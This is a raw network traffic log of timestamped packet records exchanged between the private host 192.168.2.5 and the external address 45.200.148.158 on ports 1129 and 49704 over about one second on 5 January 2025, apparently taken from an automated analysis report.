Jan 5, 2025 17:49:08.426064968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.426137924 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.426170111 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.426536083 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.426568031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.426578045 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.426616907 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.427357912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.427419901 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.427429914 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.427438974 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.427469015 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.427479982 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.428947926 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.428961039 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.428975105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.428987980 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.429039955 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.429600000 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.429611921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.429627895 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.429672003 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.465394020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.465406895 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.465418100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.465485096 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.466700077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.466711998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.466722012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.466792107 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.473387957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.473402977 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.475801945 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.507579088 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.507590055 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.507601976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.507689953 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.507689953 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.507807970 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.507819891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.507829905 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.507882118 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.508625031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.508635998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.508646965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.508692980 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.510103941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510123968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510138035 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510149956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510160923 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510183096 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.510210991 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.510771036 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510782003 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510792017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510802031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.510816097 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.510844946 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.546855927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.546879053 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.546889067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.546978951 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.549746990 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.549758911 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.549770117 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.549818039 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.588923931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.588967085 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.588985920 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.588996887 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589003086 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.589008093 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589030027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.589045048 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589066982 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.589077950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589092970 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589119911 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.589850903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589863062 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589871883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.589895010 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.589937925 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.591413975 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591427088 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591439009 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591458082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591463089 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.591470957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591511011 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.591902018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591913939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591923952 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.591948032 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.591960907 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.628649950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.628678083 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.628689051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.628700018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.628755093 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.628793955 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.631004095 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.631016970 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.631028891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.631062984 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.671684027 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671695948 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671713114 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671727896 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671740055 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671741009 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.671751976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671772957 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.671813011 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.671907902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671919107 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671928883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671938896 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.671947956 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.671983004 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.672645092 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672688961 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.672697067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672705889 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672715902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672753096 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.672764063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672774076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672785044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.672799110 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.672827005 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.673232079 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.673240900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.673280001 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.673286915 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.673295975 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.673335075 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.709872961 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.709892035 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.709901094 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.709913015 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.709943056 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.709961891 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.712210894 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.712291002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.712300062 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.712310076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.712320089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.712323904 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.712352037 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753041983 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753071070 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753078938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753118992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753127098 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753153086 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753158092 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753169060 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753185034 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753195047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753211021 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753236055 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753388882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753401041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753434896 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753456116 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753479004 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753498077 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.753972054 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753983021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.753988981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754023075 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.754049063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754060984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754070044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754112005 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.754698992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754709005 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754718065 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.754738092 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.754764080 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.791534901 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.791557074 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.791565895 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.791599035 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.793524027 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.793534994 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.793545008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.793567896 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.793585062 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.794029951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.794039965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.794049978 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.794080019 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.834527969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.834537983 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.834547997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.834573030 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.834618092 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.834923029 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.834973097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.834981918 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.834992886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835012913 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835031986 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835037947 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835077047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835118055 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835154057 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835165024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835176945 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835186958 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835201025 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835222960 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835366011 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835377932 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835387945 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835410118 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835486889 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835505962 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835530043 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835547924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835556984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835592985 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.835938931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835949898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835958958 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.835978031 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.836016893 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.873574972 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.873586893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.873596907 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.873635054 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.875247002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875267982 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875276089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875292063 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.875310898 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.875607014 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875616074 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875622034 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875634909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.875647068 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.875675917 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.915745020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.915756941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.915776014 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.915786028 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.915798903 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.915832043 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916121006 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916158915 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916167974 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916177988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916193962 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916224003 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916224003 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916244984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916254997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916284084 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916415930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916428089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916444063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916461945 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916485071 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916497946 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916508913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916518927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916557074 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916811943 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916822910 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916832924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.916857004 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.916883945 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.917040110 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.917051077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.917061090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.917084932 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.954941988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.954961061 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.954971075 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.954981089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.954988956 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.955004930 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.956504107 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.956513882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.956522942 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.956532001 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.956547022 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.956574917 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.963224888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.963238955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.963280916 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.997174978 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.997185946 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.997195959 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.997229099 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.997272968 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.997930050 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.997941971 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.997951031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.997997999 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.998581886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.998591900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.998608112 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.998648882 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.998661995 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.999084949 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999094963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999104023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999150991 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.999783039 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999826908 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.999842882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999852896 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999862909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999886036 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.999892950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999908924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999918938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999938011 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999941111 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.999949932 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999960899 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999968052 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:08.999974012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:08.999996901 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.000016928 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.036331892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.036345959 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.036359072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.036384106 CET	49704	1129	192.168.2.5	45.200.148.158
